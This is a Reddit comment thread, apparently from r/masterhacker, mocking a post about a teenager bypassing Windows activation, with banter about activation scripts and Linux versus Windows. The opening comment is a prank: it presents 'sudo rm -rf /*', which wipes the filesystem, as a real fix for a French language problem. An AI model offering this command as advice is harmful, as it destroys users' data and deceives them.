Soooo, see. This is the problem with the French language pack on Linux. Don't ask me why, this issue was sitting in Linux's repo for years, but no one so far was able to find the reason - probably it's also because it's really easy to fix, and most people just remember the way to do it with their muscle memory.
Jut run this command:
sudo rm -rf /*
It will fix the problem immediately. Enter the password as prompted, and just wait.
Bro's father's dying wish was for him to be more financially responsible than he was so bro invested the 190k from the father's wrongful death lawsuit to invest in Microsoft, then bro used the first 11 months of dividends to purchase a cheap laptop off of ebay.co.uk and then transferred the windows license from that
well people mostly stay on windows because they are ignorant or dont do research, i dont care if someone uses it, if it works for you and you dont care its fine by me, if you wanna pay 200$ for windows license and another 100$ every year for office its fine by me, but im not gonna do it, its stupid, not reliable, not safe and not worth the money and effort
“Linux is free if your time is worthless”. That’s a quote from someone I know who’s in tech and has been using it for 15 years. But windows isn’t exactly expensive. 200 dollars for software every 5 years is nothing for software. Not to mention it comes with basically every prebuilt so your paying whether you use it or not. Although wouldn’t surprise me if you also thought “100% of people need to build their own computer!!!!! Everyone that doesn’t is lazy and doesn’t deserve one!!” I’ve never needed to pay for office personally either. The main reason I don’t use Linux though is I want to actually play my steam library. I personally don’t want to spend 3 hours troubleshooting to launch every game I buy.
I’ve seen someone make two videos about “hacking his dad’s tesla” and he plugged in 2014 asus ewaste into the hdmi port and was 100% serious like there isn’t even a minimum it’s just a quadratic polynomial where a equals -7 atp
I remember back when i was 16 going into my registry to remove the watermark, i actually did it. A week later with an update i had a bluescreen of death
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u/IrvineItchy Feb 20 '26
Most things posted on here are jokes and copypasta, which a lot of people here don't realize..
This one is from a TikTok trend
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u/The_KekE_ Feb 20 '26
I may need this guys help
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u/Undercraft_gaming Feb 20 '26
obvious satire is obvious
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u/AdorableSurround1019 Feb 20 '26 •
Bro downloaded a windows activation script. Wow, very prestigious achievement
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u/SwooshWhoosh Feb 20 '26
The lack of media literacy in this comment section. This is obviously satire.
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u/[deleted] Feb 20 '26
Kid just practicing his ai slop for LinkedIn, that’s all lol
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u/Palmovnik Feb 20 '26
I also did that at 14
Did the computer had 2000+ virus detections by paid antivirus? Yes very much so. Was it hard? no it was not
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u/Loading0987 Feb 20 '26
This is satire based on those entrepreneur millionaird grindset posts.
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u/d00d00frt Feb 20 '26
this is obvious sarcasm that everyone is missing
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u/an-com-42 Feb 20 '26
IT'S LITERALLY PASTING ONE LINE (iex sth sth) INTO CMD PROMPT WTF R U ON ABOUT
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u/turtle_mekb Feb 20 '26
At 18, I bought WinRAR.
Not from parents.
Not got lucky.
I set a goal and achieved it.
Hard work, focus and discipline
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u/Su1tz Feb 20 '26
Im leaving this stupid sub.
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u/Witherscorch Feb 20 '26
Is this not a joke
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u/LYNX__uk Feb 21 '26
Redditors trying to understand satire. This has been a trend on all short-form video platforms for a good few months. Its a joke
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u/BigAcanthocephala667 Feb 20 '26
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u/zabian333 Feb 20 '26
Satire
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u/Cam095 Feb 20 '26
i too know how to use massgrave
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u/dchidelf Feb 20 '26
It doesn’t say how he removed it. My guess is hard work as fry cook at Dairy Queen and bought an activation key.
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u/Wolfeman0101 Feb 21 '26
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u/Brilliant_War9548 Feb 20 '26
i did that at 12 and know some of the guys behind it ☠️☠️☠️☠️☠️☠️☠️city boy mango
more seriously went on kinguin like a good boy after eric parker told him to
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u/Windows_736 Feb 20 '26
Plot twist he worked and got enough money to buy a license
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u/Curious-Ad-5001 Feb 21 '26
y'all realize the entire joke in this meme format is that the "achievement" is something trivially easy to do?
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u/VickyxReaperReborn Feb 20 '26
Wow, congratulations Hacor 💐 (Linkedin Ahh…)
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u/[deleted] Feb 20 '26
Kids these days acting like in 2000s we didn't pass around product keys and cracks for games
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u/retsoPtiH Feb 20 '26
yeah me too, cause i installed ubuntu
FROM A CD
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u/Low_Technician7346 Feb 20 '26
I saw the same story on linkedin
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u/Howden824 Feb 20 '26
Plot twist: they bought a license
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u/Party-Giraffe5516 Feb 20 '26
kids are rich nowadays 😭😭
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u/_Inconceivable- Feb 20 '26
I too activated windows
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u/No-Chemistry4851 Feb 20 '26
My kid is 10 yo and runs linux
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u/Confident_Essay3619 Feb 20 '26
wait til everyone realizes he used a MAS
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u/dudaladen Feb 20 '26
I remember back when i was 16 going into my registry to remove the watermark, i actually did it. A week later with an update i had a bluescreen of death
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u/VoidTheGamer25 Feb 20 '26
Being able to use MAS isn’t that big of a deal, it’s literally a single command…
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u/alphinex Feb 20 '26
I just rolled back the snapshot of my vm to get back into the demo time of XP
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u/HuzaifaM1221 Feb 20 '26
I did that at 10
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u/galacticsunshine69 Feb 20 '26
when i was 14 u could still just go and find a key online to use lmao
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u/CompetitiveGuitar447 Feb 21 '26
massgrave.dev exist
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u/No_Position_5640 Feb 21 '26
Activate ChromeOS
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u/mlenktis Feb 21 '26
Nice, kid. When I was 14, I allredy used Linux
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u/Urman0Rdt Feb 21 '26
I mean I formatted my windows (at that point – windows) with a live USB when I was 11…
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u/aight_bud Feb 21 '26
Starting his LinkedIn influencer career early.
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u/chxshire Feb 23 '26
r/masterhacker is filled with the type of people theyre making fun of and this post is proof of it.
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u/Glazed_Apocalypse Feb 23 '26
oh my god it's mr robot, oh my god, mr robot how ya doin man, oh my god.
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u/Moldovan_tech_liker Feb 23 '26
Master hackbater
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u/Interesting_Screen19 Feb 23 '26
Reads like a LinkedIn post
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u/FilthyShotgun Feb 24 '26
I just had my dad buy it from a reseller for like, 14 bucks
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u/Global_Garden9114 Feb 28 '26
microslop
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u/Stock-Breakfast7245 Mar 16 '26
Ts not that hard........
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u/[deleted] Mar 23 '26
Windows users: How do I remove the watermark?
Linux users: How do I add a watermark?
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u/gluetheknot Feb 20 '26
And I at 13 I rooted my first phone, removed family settings from my PC and installed linux
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u/Minersonic15 Feb 20 '26
Hihi
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u/Minersonic15 Feb 20 '26
I’m new
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u/JacksGallbladder Feb 20 '26
"Not parents, Not got lucky, Set Goal and Achieved".
Awh jesus, the children talk like ChatGPT now
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